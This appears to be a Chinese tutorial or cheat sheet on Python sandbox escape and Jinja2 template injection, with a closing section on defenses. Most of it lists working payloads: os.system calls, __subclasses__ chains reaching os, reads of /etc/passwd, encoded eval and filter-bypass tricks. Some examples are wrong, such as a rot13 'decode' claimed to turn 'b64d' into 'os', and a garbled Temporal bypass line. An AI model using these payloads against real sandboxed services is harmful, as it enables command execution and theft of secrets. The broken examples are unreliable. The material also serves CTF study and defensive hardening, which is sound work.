沙箱逃逸(Python沙盒逃逸深度解析)
一、沙盒逃逸的核心目標
執行系統命令
通過調用os.system、subprocess.Popen等函數執行Shell命令,例如讀取文件或反彈Shell。
文件操作
讀取敏感文件(如/etc/passwd)、寫入后門文件。
環境信息泄露
獲取沙盒配置、環境變量或密鑰(如__builtins__中的敏感模塊)。
二、常見攻擊鏈與利用方法
探測沙盒漏洞
基礎測試:注入{{7*7}}或__import__(‘os’).system(‘id’)驗證模板引擎動態執行能力。
檢查內置對象:通過dir()或__builtins__查看可用模塊。
訪問危險函數
直接調用模塊:若未禁用os,直接執行命令:
__import__('os').system('cat /flag')
間接導入:通過字符串編碼繞過關鍵字過濾:
__import__('b64d'.decode('rot13')).system('id') # 'b64d'→'os'
類繼承鏈利用
遍歷子類:從基礎類(如object)通過__subclasses__()
找到危險類:
''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['os'].system('id')
其中X為os._wrap_close或subprocess.Popen的類索引。
利用文件對象:通過types.FileType或open讀取文件:
types.FileType('/etc/passwd').read()
繞過過濾的技巧
屬性鏈分割:使用getattr
或|attr()
繞過點號過濾:
request|attr('application')|attr('__globals__')['os'].system('id')
編碼混淆:Base64、ROT13編碼命令字符串:
eval('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2lkJyk='.decode('base64'))
利用內聯函數:通過timeit、platform等非敏感模塊間接調用命令:
timeit.timeit("__import__('os').system('id')", number=1)
三、典型沙盒環境與繞過案例
Jinja2模板引擎SSTI
漏洞場景:直接渲染未過濾的用戶輸入,如render_template_string(user_input)
。
利用鏈:通過{{config}}泄露密鑰,或通過類繼承鏈調用os模塊。
RestrictedPython沙盒
限制機制:禁用__import__、open
等函數。
繞過方法:利用__builtins__.__dict__
或_getattr_動態獲取危險函數。
CTF題目實戰
常見考點:通過__subclasses__
找到warnings.catch_warnings
類,其__init__
的全局變量包含sys模塊。
文件讀取繞過:使用
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()。
四、防御措施與最佳實踐
禁用高危函數
在沙盒配置中移除eval、exec、os、subprocess等模塊,例如:
__builtins__.__dict__.clear()
# 清除內置函數
限制模塊導入
白名單機制:僅允許預定義的模塊和函數。
沙盒環境:使用RestrictedPython或PyPy沙盒,限制全局狀態訪問。
輸入過濾與靜態模板
正則過濾:攔截{{、__class__、__import__
等敏感符號。
靜態渲染:優先使用render_template而非動態拼接模板。
監控與加固
日志審計:記錄異常代碼執行行為。
容器隔離:將沙盒運行在Docker等隔離環境中,限制資源訪問。
五、歷史漏洞與擴展
CVE-2017-5524:Plone CMS因未過濾Python字符串格式化方法導致沙盒繞過,攻擊者可泄露敏感數據。
Temporal沙盒繞過:通過sandbox_unrestricted()
上下文管理器或禁用@workflow.defn(sandboxed=False)
完全繞過防護。